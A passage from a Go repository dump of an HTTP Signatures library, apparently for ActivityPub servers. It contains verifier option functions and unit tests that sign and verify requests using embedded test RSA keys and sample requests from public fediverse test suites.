| require.True(t, canDebug()) 20 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 21 | require.True(t, canDebug()) 22 | zerolog.SetGlobalLevel(zerolog.InfoLevel) 23 | require.False(t, canDebug()) 24 | } 25 | 26 | func TestCanInfo(t *testing.T) { 27 | zerolog.SetGlobalLevel(zerolog.TraceLevel) 28 | require.True(t, canDebug()) 29 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 30 | require.True(t, canDebug()) 31 | zerolog.SetGlobalLevel(zerolog.InfoLevel) 32 | require.True(t, canInfo()) 33 | zerolog.SetGlobalLevel(zerolog.WarnLevel) 34 | require.False(t, canInfo()) 35 | } 36 | -------------------------------------------------------------------------------- /sigs/verifierOption.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import "crypto" 4 | 5 | // VerifierOption is a function that modifies a Verifier 6 | type VerifierOption func(*Verifier) 7 | 8 | // VerifierFields sets the list of http.Request fields that 9 | // MUST ALL be present in the "Signature" header from a 10 | // remote server for a signature to be accepted. Extra 11 | // fields are allowed in the Signature, and will still 12 | // be verified. 13 | func VerifierFields(fields ...string) VerifierOption { 14 | return func(verifier *Verifier) { 15 | verifier.Fields = fields 16 | } 17 | } 18 | 19 | // VerifierDigests sets the list of algorithms that we will 20 | // accept from remote servers when they create a "Digest" 21 | // http header. ALL recognized digests must be valid to 22 | // pass, and AT LEAST ONE of the algorithms must be from 23 | // this list. 24 | func VerifierBodyDigests(digests ...crypto.Hash) VerifierOption { 25 | return func(verifier *Verifier) { 26 | verifier.BodyDigests = digests 27 | } 28 | } 29 | 30 | // VerifierSignatureHashes sets the hashing algorithms to use 31 | // when validating the "Signature" header. Hashes are tried 32 | // in order, and the FIRST successful match returns success. 33 | // If ALL hash attempts fail, then validation fails. 34 | func VerifierSignatureHashes(hashes ...crypto.Hash) VerifierOption { 35 | return func(verifier *Verifier) { 36 | verifier.SignatureHashes = hashes 37 | } 38 | } 39 | 40 | // VerifierTimeout sets the maximum age of a request and 41 | // signature (in seconds). Messages received after this 42 | // time duration will be rejected. 43 | // Default is 43200 seconds (12 hours). 44 | func VerifierTimeout(seconds int) VerifierOption { 45 | return func(verifier *Verifier) { 46 | verifier.Timeout = seconds 47 | } 48 | } 49 | 50 | // VerifierIgnoreTimeout sets the verifier to ignore 51 | // message and signature time stamps. This is useful 52 | // for testing signatures, but should not be used in 53 | // production. 54 | func VerifierIgnoreTimeout() VerifierOption { 55 | return func(verifier *Verifier) { 56 | verifier.Timeout = 0 57 | } 58 | } 59 | 60 | // VerifierIgnoreBodyDigest sets the verifier to ignore 61 | // the "Digest" header. This is useful for testing 62 | // but should not be used in production. 63 | func VerifierIgnoreBodyDigest() VerifierOption { 64 | return func(verifier *Verifier) { 65 | verifier.CheckDigest = false 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /sigs/verifier_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bytes" 5 | "crypto" 6 | "crypto/rand" 7 | "crypto/rsa" 8 | "crypto/sha256" 9 | "crypto/sha512" 10 | "net/http" 11 | "testing" 12 | 13 | "github.com/benpate/derp" 14 | "github.com/stretchr/testify/require" 15 | ) 16 | 17 | func TestVerify_Manual(t *testing.T) { 18 | 19 | // Create a new Request 20 | var body bytes.Buffer 21 | body.WriteString("This is the body of the request") 22 | 23 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", &body) 24 | require.Nil(t, err) 25 | request.Header.Set("Content-Type", "text/plain") 26 | 27 | // Create a Private Key to sign the request 28 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 29 | require.Nil(t, err) 30 | 31 | // Sign the Request 32 | err = Sign(request, "test-key", privateKey) 33 | require.Nil(t, err) 34 | 35 | require.Equal(t, "SHA-256=65F8+S1Bg7oPQS/fIxVg4x7PoLWnOxWlGMFB/hafojg=", request.Header.Get("Digest")) 36 | require.NotEmpty(t, request.Header.Get("Signature")) 37 | 38 | // Verify the Request 39 | keyFinder := func(keyID string) (string, error) { 40 | return EncodePublicPEM(privateKey), nil 41 | } 42 | 43 | err = Verify(request, keyFinder) 44 | require.Nil(t, err) 45 | } 46 | 47 | func TestSignAndVerify_RSA_SHA256(t *testing.T) { 48 | 49 | // Create an RSA key 50 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 51 | require.Nil(t, err) 52 | 53 | // Create a test digest 54 | digest := sha256.Sum256([]byte("this is the message")) 55 | 56 | // Sign the digest 57 | signature, err := makeSignedDigest(digest[:], crypto.SHA256, privateKey) 58 | require.Nil(t, err) 59 | 60 | err = verifySignature(&privateKey.PublicKey, crypto.SHA256, digest[:], signature) 61 | require.Nil(t, err) 62 | } 63 | 64 | func TestSignAndVerify_RSA_SHA512(t *testing.T) { 65 | 66 | // Create an RSA key 67 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 68 | require.Nil(t, err) 69 | 70 | // Create a test digest 71 | digest := sha512.Sum512([]byte("this is the message")) 72 | 73 | // Sign the digest 74 | signature, err := makeSignedDigest(digest[:], crypto.SHA512, privateKey) 75 | require.Nil(t, err) 76 | 77 | err = verifySignature(&privateKey.PublicKey, crypto.SHA512, digest[:], signature) 78 | require.Nil(t, err) 79 | } 80 | 81 | func TestSignAndVerify_Emissary(t *testing.T) { 82 | 83 | privateKey, publicKey := getTestKeys() 84 | require.NotNil(t, privateKey) 85 | require.NotNil(t, publicKey) 86 | 87 | plaintextSignature := removeTabs( 88 | `(request-target): post /@63f3c38ab0d6029bf1c915c9/pub/inbox 89 | host: 127.0.0.1 90 | date: Sat, 02 Sep 2023 15:29:05 GMT 91 | digest: SHA-256=VgRwIlTTedMmiNk71Zlod3Bq6gXOzJNIRlUXenyNdLw=`) 92 | 93 | hashedSignature, err := makeSignatureHash(plaintextSignature, crypto.SHA256) 94 | require.Nil(t, err) 95 | 96 | signedSignature, err := makeSignedDigest(hashedSignature, crypto.SHA256, privateKey) 97 | require.Nil(t, err) 98 | 99 | derp.Report(verifyHashAndSignature(plaintextSignature, crypto.SHA256, publicKey, signedSignature)) 100 | } 101 | 102 | func getTestKeys() (crypto.PrivateKey, crypto.PublicKey) { 103 | 104 | privateKeyPEM := removeTabs( 105 | `-----BEGIN RSA PRIVATE KEY----- 106 | MIIEpQIBAAKCAQEAy1xxGJw8d+FouEHikqkmNo/X8/tPAMtZtzXXj03Uzr3Pxfpy 107 | 4a0MhZwd3duWqhINPKWbDFgn9W2z6I+nIziBLD+YxHWqvahpsRqGkmu86CoOLKom 108 | mbULjAIzyAMtPqBpOQJ8xJtq6Evz09avUku08iPrjP64wKNESyu5mDFvfpW31F6B 109 | 7C0y+QC6vbhDanOnvV9QIxMDEbU87iY3nyyt8ZkSj5I2bHb80LQ0BEWN4WkOZB+w 110 | c0+fhQ9+pJobSSsyGJ21graTbkEKcr1LGo+Xe+rqPYT1IcDwpMTD7es1AiqbZwlI 111 | xNoh9wvJygZsqB4Iok8iatc+I1fGl6XiJcnxAQIDAQABAoIBAGANotG4AguxqU/W 112 | ttkFEiqVWLBCFHfQlOingtCKN6kLGJdvi1Gy9gYpziWbcZeU/TGXGxwCi6UuEtsW 113 | 9x/4sXKf+11YIrSAVqOzXrrMLqcOLjHEkITrca/I3oJrlbRN+kVWOm525lEghuOZ 114 | NKhPYAE7HCg1rDg5JanH1lrfhsUnxF7XXhR48+8T1iifd31DpY6M3FAP4fGSdsOA 115 | 23bW7VG/nOwKrZ/V6ij0F3KvJ5dCOc1tw5SwhlTH9kuEoMq8Uy0i+3ngNkv7e0qJ 116 | k2/0B7nc6B6HP+nsswN3KoY4qKvPfktZDZeowmcNrJOBiw0N3PBrOIOI5UjkwBUN 117 | TOfnRUECgYEA1J1WMeag0Mr3d/rVRVqTXlwEkF7T9s7+MAPfJ5vF6u5ndrZdwy6g 118 | 6WdbiJMkUbAH1QFQ1q7MTNoo9L72dRkS5cnSwv7WLBC2Oy3ZpsBT9Lc9SZ7GAj/X 119 | 9x3XstBBIGkPMAfva/OCACPKd3Z84gTeDNTU+cYghv+EYhLd7UKhQ1kCgYEA9Nu3 120 | bpS2FguZ/CwkmRQTgTGAGysETjgLFHDxODEZPKBkTpnAf49In+Vx6BixZ6xqRWe9 121 | lSnlF20x8+pUOqhMpfnwxx+OEMayr4dGMDhDj6pQ+D8ETEOQ9PXqyuyyHq8FfIAH 122 | kdXddjCS8SSreBMgzjUZjn/md+ArA6UMN9T1LekCgYEAop/13hVZzFpzDwJ9Pp8Z 123 | OYOIuiTOXGnXY0KS3ej4acoQuWykKzbvPZghG0Xw8cqDMxnei1cITYBQ82NdgBO9 124 | sKW+4AesKeheesWHRVS24ueFqVoYen/64Lmi0tMX/YJea46mQxvuw8ycgOPQgdDX 125 | R1lDzgkNuDSZParQtTnRv4ECgYEAq/3RgPkwVZfcl8ciBeyWLr9obqzun0q6badP 126 | qNrEEVPQYW2aS3+H0djHA/KkWmA/XXUbM7Vz19q5pc1JUNJ61HMV76h4j8wiIy1v 127 | 3dsHidhme5k4GaG0Jny+ab+M9gSWY/dCWevRXX2NGZlaYEN/XZjq1K9+YWGylSLP 128 | zD/n4FECgYEAssvQs++XNyNi1YQvUOX0oZjKH1l9sx/JdE+O+UYsvOsCMRXPfLu4 129 | ipiwM6zWyC/tumuDlM9qReAKcqBtSNUOHcd9Tbs5zTUvm3RbhqUdgMPZfVG/O9qp 130 | 7FXferRokfJyjJpo7SW8K57HKPJ4aNMpa1yhG+uZ1rXzqvjD6zwRvto= 131 | -----END RSA PRIVATE KEY-----`) 132 | 133 | privateKey, err := DecodePrivatePEM(privateKeyPEM) 134 | 135 | if err != nil { 136 | panic(err) 137 | } 138 | 139 | testPrivateKey := privateKey.(*rsa.PrivateKey) 140 | testPublicKeyPEM := EncodePublicPEM(testPrivateKey) 141 | 142 | /* sent via browser?? 143 | publicKeyPEM := removeTabs( 144 | `-----BEGIN RSA PUBLIC KEY----- 145 | MEgCQQDbLVt+d4EGWdMOgG6lS2xvhP6kbb0OgdkG26jmqWfUCqzYhyuhoL3JgijV 146 | N+Y0Jbb4iEU2aQXMNHM+Rq1bfkLTAgMBAAE= 147 | -----END RSA PUBLIC KEY-----`) 148 | */ 149 | 150 | // in database 151 | publicKeyPEM := removeTabs( 152 | `-----BEGIN RSA PUBLIC KEY----- 153 | MIIBCgKCAQEAy1xxGJw8d+FouEHikqkmNo/X8/tPAMtZtzXXj03Uzr3Pxfpy4a0M 154 | hZwd3duWqhINPKWbDFgn9W2z6I+nIziBLD+YxHWqvahpsRqGkmu86CoOLKommbUL 155 | jAIzyAMtPqBpOQJ8xJtq6Evz09avUku08iPrjP64wKNESyu5mDFvfpW31F6B7C0y 156 | +QC6vbhDanOnvV9QIxMDEbU87iY3nyyt8ZkSj5I2bHb80LQ0BEWN4WkOZB+wc0+f 157 | hQ9+pJobSSsyGJ21graTbkEKcr1LGo+Xe+rqPYT1IcDwpMTD7es1AiqbZwlIxNoh 158 | 9wvJygZsqB4Iok8iatc+I1fGl6XiJcnxAQIDAQAB 159 | -----END RSA PUBLIC KEY----- 160 | `) 161 | 162 | if publicKeyPEM != testPublicKeyPEM { 163 | panic("Public PEMs do not match") 164 | } 165 | 166 | publicKey, err := DecodePublicPEM(publicKeyPEM) 167 | 168 | if err != nil { 169 | panic(err) 170 | } 171 | 172 | return privateKey, publicKey 173 | } 174 | -------------------------------------------------------------------------------- /sigs/x_dinochiesa_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bufio" 5 | "net/http" 6 | "strings" 7 | "testing" 8 | 9 | "github.com/stretchr/testify/require" 10 | ) 11 | 12 | // Sample transactions from - https://dinochiesa.github.io/httpsig/ 13 | func TestVerify_Dino1(t *testing.T) { 14 | 15 | requestString := removeTabs( 16 | `GET /foo HTTP/1.1 17 | Host: example.org 18 | x-request-id: 00000000-0000-0000-0000-000000000004 19 | tpp-redirect-uri: https://www.sometpp.com/redirect/ 20 | digest: SHA-256=TGGHcPGLechhcNo4gndoKUvCBhWaQOPgtoVDIpxc6J4= 21 | psu-id: 1337 22 | Signature: keyId="abcdefg-123", algorithm="rsa-sha256", headers="x-request-id tpp-redirect-uri digest psu-id", signature="XRUrq4Jm88DiL8EPbp2EP1033F1H0GXhOoO+GJtBee9Or7X8oMXabPdQIS1GCrAqGpXPK3Dod4M20RsshUJ+aDPhhTaDLIpu6veFjvN3ks6rMlrFjsHNM9IIeQGyFcDp8ByohxOwb7KxzOcQgrvAUPdtBj6HuMjMU0ymDRgxkIwM+joM6ptG38bpKntDLdfbktZRppM/GTsyPnd79u6eWCOXOwis7KyMHUFWDvZ3c5LnHTEG4jYynAuKW3sbc1tCxUtlrLrJyh0HhsUigrPGhLjGQPbHbUGej0AcowYBILXbe7CPhKJegEwmWeMNK/L1CZT5pmmh4aG3lKL/3BqGaw==" 23 | 24 | `) 25 | 26 | requestReader := bufio.NewReader(strings.NewReader(requestString)) 27 | request, err := http.ReadRequest(requestReader) 28 | require.Nil(t, err) 29 | 30 | keyFinder := func(keyID string) (string, error) { 31 | return removeTabs(`-----BEGIN PUBLIC KEY----- 32 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtHiuMUfXZ+H7ruDYDfNZ 33 | OYD1PChkSZJoHgoS/3qrue/O3QM7UEos9sWR2yQ3xH5VdLMx0jR9yaPQfe6bS0C5 34 | ZziR4FA3VQ2nVCSYZNbaZGEms81yXS6qMhE/kbIjbYBm5DFWKYIPllH2IXMSiaGA 35 | Wd9LQHI5or7m/tfzgYBIAgErztb9oz456GHPsiAJnkSbLYP+cRMobUn+NY/stYSK 36 | Nq/Q+Ld9Q5ewj5qg7ps1f9LQ5kEDRaZY5pXvMjk9qfGI02hvxprRtXmC/zSiOUI6 37 | yO5EHO6Yg4b8+/9sELdIuGqDRg7uINfgddMAF9EXif4MkFCgiJnvT0xro6M7mgLx 38 | lwIDAQAB 39 | -----END PUBLIC KEY-----`), nil 40 | } 41 | 42 | err = Verify(request, keyFinder, VerifierFields("x-request-id", "tpp-redirect-uri", "digest", "psu-id"), VerifierIgnoreTimeout(), VerifierIgnoreBodyDigest()) 43 | require.Nil(t, err) 44 | } 45 | 46 | func TestVerify_Dino2(t *testing.T) { 47 | 48 | requestString := removeTabs( 49 | `GET /foo HTTP/1.1 50 | Host: example.org 51 | x-request-id: 00000000-0000-0000-0000-000000000004 52 | tpp-redirect-uri: https://www.sometpp.com/redirect/ 53 | digest: SHA-256=TGGHcPGLechhcNo4gndoKUvCBhWaQOPgtoVDIpxc6J4= 54 | psu-id: 1337 55 | Signature: keyId="abcdefg-123", algorithm="rsa-sha256", headers="x-request-id tpp-redirect-uri digest psu-id", signature="zNEg4c1B01I5NaimvAF+/ZY1gtHge38NPTungOyKZSr2drIjm1KbvZxMl7krrzpUkkzp1Kt0GDKbiv5bsqbI/j15wyhgJmuZF6QvDip29SyAZwO83MuUF2vH66MeXVR6wZ8RvNDwYRoDjwGQ8DOadmQfM3ew2ySDuUT+/FUliFHH+SMZZKH5Ee0x4tdmLopvKdIu39OSHh0AvwpRZhGqLDNdCG0VjLVKdgCKFwKsb9f84PtU47PW3kTlHxUUuQ5vjwazmARjvHKyXRpKBkGJJBUlNEHqCdt54pxTd8YsmJPbcmUMmmiMwEWFanyy2JX9i8JgFXTf6pAGX0FpBqMhjQ==" 56 | 57 | `) 58 | 59 | requestReader := bufio.NewReader(strings.NewReader(requestString)) 60 | request, err := http.ReadRequest(requestReader) 61 | require.Nil(t, err) 62 | 63 | keyFinder := func(keyID string) (string, error) { 64 | return removeTabs( 65 | `-----BEGIN PUBLIC KEY----- 66 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4wCAxz92RHsFI6F6c1nP 67 | 2HDkRJxo0Ub8QSomgeOdqPWZGQg0n2x7OCH5oJT9bur0mxiWLOiC607BmD8zaamE 68 | QTSgaz+VLfBcn5LQ73E+O8UB3tJr4k4JgD0eCmUmJ1nMNp+ArhgOZrYcbezt9BsE 69 | vR77YUlSXs6LnCVa5niGTRwmJMOeljP1lEIoUVRnOlWD9ZBCtApnZvHPLV6tQnpf 70 | 36G7fMXXPINyg9lw/GmQWcI+PHqUDRYgea3u5Q1NLau1GZqP0vn+NyWMI9Ma3nZx 71 | Nz51N02SnsUepzH7TjUPPfPlHc1uItaQgCGBaJUAdMmQbaM+Ww69y4TXUZEW22kp 72 | hQIDAQAB 73 | -----END PUBLIC KEY-----`), nil 74 | } 75 | 76 | err = Verify(request, keyFinder, VerifierFields("x-request-id", "tpp-redirect-uri", "digest", "psu-id"), VerifierIgnoreTimeout(), VerifierIgnoreBodyDigest()) 77 | require.Nil(t, err) 78 | } 79 | 80 | func TestSign_Dino(t *testing.T) { 81 | 82 | requestString := removeTabs( 83 | `GET /foo HTTP/1.1 84 | Host: example.org 85 | x-request-id: 00000000-0000-0000-0000-000000000004 86 | tpp-redirect-uri: https://www.sometpp.com/redirect/ 87 | psu-id: 1337 88 | 89 | `) 90 | 91 | requestReader := bufio.NewReader(strings.NewReader(requestString)) 92 | request, err := http.ReadRequest(requestReader) 93 | require.Nil(t, err) 94 | 95 | privateKeyPEM := removeTabs(`-----BEGIN PRIVATE KEY----- 96 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuQ/0EvPOxk0Hp 97 | Yu92Es3hjJuhbLUC80WTdIv5HVqwubaMOvxPoTnWbqXBMbcv38oh5HB0b4RQQuoi 98 | R78cLx1410wE+uOtF+ViU6bhZhUOozE7xxISgF3Mi1k0Hzi5/EVNvyIS8gnsRmvq 99 | wtk0ntBwwJQqwdcKZI8kQwShujr4GkO8EHgIhT4MbV+lIHUr7mcRiBhC4GEiNLbv 100 | EfG+EJOquKacHyX+L+3Unnhnt81WlkcnVfY1d4j7ISDi2C46GuMudL3GKRBqJrZZ 101 | OTdUoljNjc5P8AHmeDcXXhHhlLidblX4+X7kGvvm1pRrewyq+mdYDk82iVqmc4cM 102 | bdfvH1dxAgMBAAECggEACVjhuy2UZ6+1nxpcrEllbCXx2hZ93g7k6jwb3uyVZvnL 103 | Ihnu2ymTc95C+0oaoJGBItDBPGmX4AM60kRlapJXYxovPGwlpqzrs5q3jor+cabM 104 | tv9eR4pFnblSu1I6ZXVz1S/9mKUNZbRASRsS8fjbxtR5jhKQIYFT0TbcCn21+IU/ 105 | Xk9I75jTXwFyrs5vG+FdE2cJ6cbXDKQF/Tx66dQZJd8Ow7VBSXLJ0nZcFojyDXs4 106 | MntrZ5aygsE20EQPX3j541UrcShGtnHnFyL2KQF8Xn0SW7o9kCyNVKkvwMVT663i 107 | neCd5hraSZPGYGEgWdGc8zwg4y0Uefm4Om6NjXnXjQKBgQDoXyUYtDhwpbKZT9Ao 108 | unVqR1NqC+bDqS+rm8gu48KYx7z62rND4GKpSKlx8ilhuCDyYLZti3AymRDsokQH 109 | 9ETB6AJy9+tirzR8l8eorSpYl6XPt4cso7b8pmgbpVgwfuYKJqGDTuIVxa4x5QMI 110 | 7/+oHCVDoe6t06P17pigMZCR3QKBgQC//El2mwyXOzrAfRq0hkQshp2GvRCasEVS 111 | T7Ql+3UkyCHEWeqsQ+unGQsbHOgwkBLbpv18rwvTwXdykv1x9FG5nzdyhr8sAwj7 112 | JBmnRYal2qj+TOsra2tihCYpEhUxJZeotbAi2yvMVg+b/dkOWUS32nIhY0RrmqqO 113 | gIJckeNkpQKBgA7IJqr4o/J+h+r6ycodemSlXugLE8X0mES5ZzWcZX+kjSAEE41I 114 | 093i8mx+NCW0OdxRTKmRSjTdydbTx7Id1tXi9Wzs2ntvm84lNZ1ETsJN+01IZn/v 115 | di+CQnMnxIFpQSb6KCIbPYSXC6q+37+MzN2b1L8FqRJDuVVmtSzTmle9AoGBALvl 116 | Yczn8MmuWVD83/8gjWZ6lX/CWJbcv+vQQAMQeNT33jx6uDfC/cb7tqfhgcnNp/c8 117 | F0lJVKz54zrKa6x0ruuZzT2UbVPY4JhS+5x/akm2mMDSbTOAnYe8yFBX90+zeBvR 118 | PkLO+K2y6PIF3sKxUZUTAbJ1oggiRpzTX0LUMZZVAoGBAI1kx5P6LcLN+JS+Xe/m 119 | MAat7Swyr4MPy/nwi/pNy0p3jABrzu24EYBeuf0yF5Qo0PYfsejbr6sa2fs8lpkx 120 | 0xDM4SRfk/OhNlxg/8oMjVGKD6AIXLCyThAw+RFyTrkO2vUrTm29zYEAtaVVAfgc 121 | oUzfO75tQ/QHU3ZvtVnEERXh 122 | -----END PRIVATE KEY-----`) 123 | 124 | privateKey, err := DecodePrivatePEM(privateKeyPEM) 125 | require.Nil(t, err) 126 | 127 | err = Sign(request, "abcdefg-123", privateKey, SignerFields("x-request-id", "tpp-redirect-uri", "psu-id")) 128 | require.Nil(t, err) 129 | require.Equal(t, `keyId="abcdefg-123",algorithm="rsa-sha256",headers="x-request-id tpp-redirect-uri psu-id",signature="ik5wHHA4LP23hOw+tg4doz0150JzU3RFfPu7zX6i76wGLEUeh7jP+zbjpQrTHVnrcJEE0qTBmQySgZODxpMmOIZPGjOanTVV2FVypVmEuyoTT+yqHymgqlJt8SUEko+jhbboQ+o184HWP17ZuWH7+vBZoQWKN1nglZa5Bkef4/1JWmTrwTAmp9mWqfVJp1X5fzaM8gqXdO103KW/Znb/sK3fuMnLjZNNw7oaeSRUSFxv9i9hKgHSdUFV0YglxWvOtFhagHQ4gp9nKikjSIPUppdjlHB7/VVXVqAKvLRaomL7pWO4RVH18hLdPHLrzeezMJLOJnxgzB4i1KG01xu3zw=="`, request.Header.Get("Signature")) 130 | } 131 | -------------------------------------------------------------------------------- /sigs/x_funfedi_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bufio" 5 | "crypto" 6 | "net/http" 7 | "strings" 8 | "testing" 9 | 10 | "github.com/stretchr/testify/require" 11 | ) 12 | 13 | func TestFunFedi(t *testing.T) { 14 | 15 | // From transactions sent by https://verify.funfedi.dev/ 16 | // FunFedi is a test suite that uses different capitalization for the Digest header (sha-256 instead of SHA-256) 17 | // This test ensures that the Digest header is case-insensitive. 18 | 19 | // zerolog.SetGlobalLevel(zerolog.TraceLevel) 20 | 21 | /* 22 | ------------------------------------------ 23 | HANNIBAL: Receiving Activity: /@64d68054a4bf39a519f27c67/pub/inbox 24 | Headers: 25 | Digest: sha-256=27p0TuEIcJbNLBjv/RQFROHFxe0K74PK2exvfyHkkDQ= 26 | Content-Type: application/activity+json 27 | Signature: keyId="https://verify.funfedi.dev/bob#main",algorithm="rsa-sha256",headers="(request-target) host date digest content-type",signature="b2k1vPoLJpuCk1MmAEk6pfWi5G8SFALBqOjywUNdOEiC9SeTEPULCDi5quLPqzlvsSoD+jHipzTlETYwnen9wkwYqKzBlp5sTMbdKEXI1L6dzE4mmqMqE5zCGgzJqAlK59Z7PQZGTegJ/qAXjywBPcJC7TB4yD9JpbNPBJ6DcqBk3wGMh0rTxMNg4m9Wj90lrmYF+fqNxUkUHPdXxG7TxlaiQ18Z5RWZoXGv0+lOpNrhRU44J9Dl98aiKnhm+xoRrE+QUBKLEmKpwJU+bBsd1R7s9IV6P2JjYL2paOWIOveaNt41GcPHUc5g5aUkQfmMbWVeWv6VM7lTzpfO3e93Ww==" 28 | Accept: application/activity+json 29 | Accept-Encoding: gzip, deflate 30 | Content-Length: 207 31 | User-Agent: bovine/0.5.3 32 | Date: Tue, 05 Dec 2023 21:22:25 GMT 33 | 34 | Body: 35 | {"@context": "https://www.w3.org/ns/activitystreams", "type": "Like", "actor": "https://verify.funfedi.dev/bob", "id": "https://verify.funfedi.dev/bobOEFNNp884mw", "object": "https://verify.funfedi.dev/bob"} 36 | 37 | 2:22PM TRC ascache.Client.loadByURI: FOUND uri=https://verify.funfedi.dev/bob 38 | ------------------------------------------ 39 | hannibal.pub.validateRequest 40 | (map[string]interface {}) (len=9) { 41 | (string) (len=4) "type": (string) (len=6) "Person", 42 | (string) (len=8) "@context": (primitive.A) (len=2 cap=2) { 43 | (string) (len=37) "https://www.w3.org/ns/activitystreams", 44 | (string) (len=28) "https://w3id.org/security/v1" 45 | }, 46 | (string) (len=17) "preferredUsername": (string) (len=3) "bob", 47 | (string) (len=9) "publicKey": (mapof.Any) (len=3) { 48 | (string) (len=2) "id": (string) (len=35) "https://verify.funfedi.dev/bob#main", 49 | (string) (len=5) "owner": (string) (len=30) "https://verify.funfedi.dev/bob", 50 | (string) (len=12) "publicKeyPem": (string) (len=451) "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo/r0o1lp0IUe6Y+IFm6Q\naHmMkyGXdHy9mE4l7+5AKQBGb8c3n6dDVIiECvrdmF1H8U1lsI/Q1nq8lQkuzxBV\nysmAPHFusW0ODy1NYGTEGYGnjfWuttltYGf8JgSzQMxUFnzg2PVXCmAq+QK3eENK\nm0xMc1EKagY5BBOtOljAP2iN0gdsb3RQ7mQHzBcZCataiMI52qVt/M/7Zony5W8e\nQWbLMPr3WMs+JPwz5TIVED4UMJxFswS5+yI1iQjgHgXdcw63ipJ/QWy/dtDU8llD\ne0TVR+KdKTxHpl2P3ky+OK6zYIO2MFfru8IDrax4i/zK1VTMzd9BipmoFdlK/5dw\n3wIDAQAB\n-----END PUBLIC KEY-----\n" 51 | }, 52 | (string) (len=7) "summary": (string) (len=88) "user_part=bob\nrequires_signed_get_for_actor=False,\nrequires_signed_post_for_inbox=True,\n", 53 | (string) (len=2) "id": (string) (len=30) "https://verify.funfedi.dev/bob", 54 | (string) (len=5) "inbox": (string) (len=36) "https://verify.funfedi.dev/bob/inbox", 55 | (string) (len=6) "outbox": (string) (len=30) "https://verify.funfedi.dev/bob", 56 | (string) (len=4) "name": (string) (len=10) "Test Actor" 57 | } 58 | PEM: -----BEGIN PUBLIC KEY----- 59 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo/r0o1lp0IUe6Y+IFm6Q 60 | aHmMkyGXdHy9mE4l7+5AKQBGb8c3n6dDVIiECvrdmF1H8U1lsI/Q1nq8lQkuzxBV 61 | ysmAPHFusW0ODy1NYGTEGYGnjfWuttltYGf8JgSzQMxUFnzg2PVXCmAq+QK3eENK 62 | m0xMc1EKagY5BBOtOljAP2iN0gdsb3RQ7mQHzBcZCataiMI52qVt/M/7Zony5W8e 63 | QWbLMPr3WMs+JPwz5TIVED4UMJxFswS5+yI1iQjgHgXdcw63ipJ/QWy/dtDU8llD 64 | e0TVR+KdKTxHpl2P3ky+OK6zYIO2MFfru8IDrax4i/zK1VTMzd9BipmoFdlK/5dw 65 | 3wIDAQAB 66 | -----END PUBLIC KEY----- 67 | */ 68 | 69 | rawHTTP := removeTabs( 70 | `POST /@64d68054a4bf39a519f27c67/pub/inbox HTTP/1.1 71 | Host: emdev.ddns.net 72 | Digest: sha-256=27p0TuEIcJbNLBjv/RQFROHFxe0K74PK2exvfyHkkDQ= 73 | Content-Type: application/activity+json 74 | Signature: keyId="https://verify.funfedi.dev/bob#main",algorithm="rsa-sha256",headers="(request-target) host date digest content-type",signature="b2k1vPoLJpuCk1MmAEk6pfWi5G8SFALBqOjywUNdOEiC9SeTEPULCDi5quLPqzlvsSoD+jHipzTlETYwnen9wkwYqKzBlp5sTMbdKEXI1L6dzE4mmqMqE5zCGgzJqAlK59Z7PQZGTegJ/qAXjywBPcJC7TB4yD9JpbNPBJ6DcqBk3wGMh0rTxMNg4m9Wj90lrmYF+fqNxUkUHPdXxG7TxlaiQ18Z5RWZoXGv0+lOpNrhRU44J9Dl98aiKnhm+xoRrE+QUBKLEmKpwJU+bBsd1R7s9IV6P2JjYL2paOWIOveaNt41GcPHUc5g5aUkQfmMbWVeWv6VM7lTzpfO3e93Ww==" 75 | Accept: */* 76 | Accept-Encoding: gzip, deflate 77 | Content-Length: 207 78 | User-Agent: bovine/0.5.3 79 | Date: Tue, 05 Dec 2023 21:22:25 GMT 80 | 81 | {"@context": "https://www.w3.org/ns/activitystreams", "type": "Like", "actor": "https://verify.funfedi.dev/bob", "id": "https://verify.funfedi.dev/bobOEFNNp884mw", "object": "https://verify.funfedi.dev/bob"} 82 | `) 83 | 84 | keyFinder := func(keyID string) (string, error) { 85 | return "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAo/r0o1lp0IUe6Y+IFm6Q\naHmMkyGXdHy9mE4l7+5AKQBGb8c3n6dDVIiECvrdmF1H8U1lsI/Q1nq8lQkuzxBV\nysmAPHFusW0ODy1NYGTEGYGnjfWuttltYGf8JgSzQMxUFnzg2PVXCmAq+QK3eENK\nm0xMc1EKagY5BBOtOljAP2iN0gdsb3RQ7mQHzBcZCataiMI52qVt/M/7Zony5W8e\nQWbLMPr3WMs+JPwz5TIVED4UMJxFswS5+yI1iQjgHgXdcw63ipJ/QWy/dtDU8llD\ne0TVR+KdKTxHpl2P3ky+OK6zYIO2MFfru8IDrax4i/zK1VTMzd9BipmoFdlK/5dw\n3wIDAQAB\n-----END PUBLIC KEY-----", nil 86 | } 87 | 88 | // Make a new request 89 | request, err := http.ReadRequest(bufio.NewReader(strings.NewReader(rawHTTP))) 90 | require.Nil(t, err) 91 | 92 | err = VerifyDigest(request, crypto.SHA256) 93 | require.Nil(t, err) 94 | 95 | // Verify the request 96 | err = Verify(request, keyFinder, VerifierIgnoreTimeout()) 97 | require.Nil(t, err) 98 | 99 | } 100 | -------------------------------------------------------------------------------- /sigs/x_pixelfed_test.go: -------------------------------------------------------------------------------- 1 | package sigs 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "net/http" 7 | "testing" 8 | 9 | 